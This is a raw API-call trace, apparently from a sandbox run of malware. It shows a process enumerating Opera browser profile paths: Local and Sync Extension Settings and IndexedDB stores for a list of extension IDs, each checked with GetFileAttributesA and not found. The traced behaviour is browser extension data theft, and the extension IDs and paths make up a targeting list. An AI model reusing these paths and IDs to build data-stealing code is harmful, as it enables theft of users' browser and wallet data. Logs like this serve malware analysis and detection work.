[0052.704] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\cphhlgmgameodnhkjdmkpanlelnlohao") returned 124
[0052.704] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\cphhlgmgameodnhkjdmkpanlelnlohao\\CURRENT") returned 132
[0052.704] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\cphhlgmgameodnhkjdmkpanlelnlohao") returned 123
[0052.704] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\cphhlgmgameodnhkjdmkpanlelnlohao\\CURRENT") returned 131
[0052.704] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_cphhlgmgameodnhkjdmkpanlelnlohao_0.indexeddb.leveldb") returned 146
[0052.704] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_cphhlgmgameodnhkjdmkpanlelnlohao_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.704] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\cphhlgmgameodnhkjdmkpanlelnlohao\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\cphhlgmgameodnhkjdmkpanlelnlohao\\current")) returned 0xffffffff
[0052.705] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.705] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.705] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\nhnkbkgjikgcigadomkphalanndcapjk") returned 124
[0052.705] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\nhnkbkgjikgcigadomkphalanndcapjk\\CURRENT") returned 132
[0052.705] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\nhnkbkgjikgcigadomkphalanndcapjk") returned 123
[0052.705] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\nhnkbkgjikgcigadomkphalanndcapjk\\CURRENT") returned 131
[0052.705] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_nhnkbkgjikgcigadomkphalanndcapjk_0.indexeddb.leveldb") returned 146
[0052.705] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_nhnkbkgjikgcigadomkphalanndcapjk_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.705] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\nhnkbkgjikgcigadomkphalanndcapjk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\nhnkbkgjikgcigadomkphalanndcapjk\\current")) returned 0xffffffff
[0052.705] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.705] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.705] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn") returned 124
[0052.705] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn\\CURRENT") returned 132
[0052.705] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn") returned 123
[0052.705] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn\\CURRENT") returned 131
[0052.705] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_kpfopkelmapcoipemfendmdcghnegimn_0.indexeddb.leveldb") returned 146
[0052.705] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_kpfopkelmapcoipemfendmdcghnegimn_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.705] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\kpfopkelmapcoipemfendmdcghnegimn\\current")) returned 0xffffffff
[0052.705] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.705] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.705] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp") returned 124
[0052.705] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp\\CURRENT") returned 132
[0052.705] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp") returned 123
[0052.705] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp\\CURRENT") returned 131
[0052.706] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_aiifbnbfobpmeekipheeijimdpnlpgpp_0.indexeddb.leveldb") returned 146
[0052.706] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_aiifbnbfobpmeekipheeijimdpnlpgpp_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.706] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\aiifbnbfobpmeekipheeijimdpnlpgpp\\current")) returned 0xffffffff
[0052.706] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.706] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.706] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap") returned 124
[0052.706] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap\\CURRENT") returned 132
[0052.706] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap") returned 123
[0052.706] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap\\CURRENT") returned 131
[0052.706] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_dmkamcknogkgcdfhhbddcghachkejeap_0.indexeddb.leveldb") returned 146
[0052.706] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_dmkamcknogkgcdfhhbddcghachkejeap_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.706] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\dmkamcknogkgcdfhhbddcghachkejeap\\current")) returned 0xffffffff
[0052.706] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.706] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.706] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno") returned 124
[0052.706] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno\\CURRENT") returned 132
[0052.706] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno") returned 123
[0052.706] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno\\CURRENT") returned 131
[0052.706] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_fhmfendgdocmcbmfikdcogofphimnkno_0.indexeddb.leveldb") returned 146
[0052.706] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_fhmfendgdocmcbmfikdcogofphimnkno_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.706] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\fhmfendgdocmcbmfikdcogofphimnkno\\current")) returned 0xffffffff
[0052.706] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.706] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.706] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\cnmamaachppnkjgnildpdmkaakejnhae") returned 124
[0052.706] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\cnmamaachppnkjgnildpdmkaakejnhae\\CURRENT") returned 132
[0052.706] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\cnmamaachppnkjgnildpdmkaakejnhae") returned 123
[0052.706] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\cnmamaachppnkjgnildpdmkaakejnhae\\CURRENT") returned 131
[0052.706] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_cnmamaachppnkjgnildpdmkaakejnhae_0.indexeddb.leveldb") returned 146
[0052.707] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_cnmamaachppnkjgnildpdmkaakejnhae_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.707] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\cnmamaachppnkjgnildpdmkaakejnhae\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\cnmamaachppnkjgnildpdmkaakejnhae\\current")) returned 0xffffffff
[0052.707] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.707] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.707] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\jojhfeoedkpkglbfimdfabpdfjaoolaf") returned 124
[0052.707] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\jojhfeoedkpkglbfimdfabpdfjaoolaf\\CURRENT") returned 132
[0052.707] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\jojhfeoedkpkglbfimdfabpdfjaoolaf") returned 123
[0052.707] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\jojhfeoedkpkglbfimdfabpdfjaoolaf\\CURRENT") returned 131
[0052.707] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_jojhfeoedkpkglbfimdfabpdfjaoolaf_0.indexeddb.leveldb") returned 146
[0052.707] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_jojhfeoedkpkglbfimdfabpdfjaoolaf_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.707] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\jojhfeoedkpkglbfimdfabpdfjaoolaf\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\jojhfeoedkpkglbfimdfabpdfjaoolaf\\current")) returned 0xffffffff
[0052.707] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.707] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.707] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel") returned 124
[0052.707] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel\\CURRENT") returned 132
[0052.707] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\flpiciilemghbmfalicajoolhkkenfel") returned 123
[0052.707] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\flpiciilemghbmfalicajoolhkkenfel\\CURRENT") returned 131
[0052.707] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_flpiciilemghbmfalicajoolhkkenfel_0.indexeddb.leveldb") returned 146
[0052.707] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_flpiciilemghbmfalicajoolhkkenfel_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.707] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\flpiciilemghbmfalicajoolhkkenfel\\current")) returned 0xffffffff
[0052.707] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.707] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.707] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg") returned 124
[0052.707] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg\\CURRENT") returned 132
[0052.707] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\aeachknmefphepccionboohckonoeemg") returned 123
[0052.707] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\aeachknmefphepccionboohckonoeemg\\CURRENT") returned 131
[0052.707] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_aeachknmefphepccionboohckonoeemg_0.indexeddb.leveldb") returned 146
[0052.707] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_aeachknmefphepccionboohckonoeemg_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.708] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\aeachknmefphepccionboohckonoeemg\\current")) returned 0xffffffff
[0052.708] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.708] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.708] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk") returned 124
[0052.708] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk\\CURRENT") returned 132
[0052.708] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk") returned 123
[0052.708] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk\\CURRENT") returned 131
[0052.708] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_cgeeodpfagjceefieflmdfphplkenlfk_0.indexeddb.leveldb") returned 146
[0052.708] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_cgeeodpfagjceefieflmdfphplkenlfk_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.708] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\cgeeodpfagjceefieflmdfphplkenlfk\\current")) returned 0xffffffff
[0052.708] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.708] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.708] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk") returned 124
[0052.708] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk\\CURRENT") returned 132
[0052.708] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk") returned 123
[0052.708] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk\\CURRENT") returned 131
[0052.708] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_pdadjkfkgcafgbceimcpbkalnfnepbnk_0.indexeddb.leveldb") returned 146
[0052.708] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_pdadjkfkgcafgbceimcpbkalnfnepbnk_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.708] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk\\current")) returned 0xffffffff
[0052.708] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.708] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
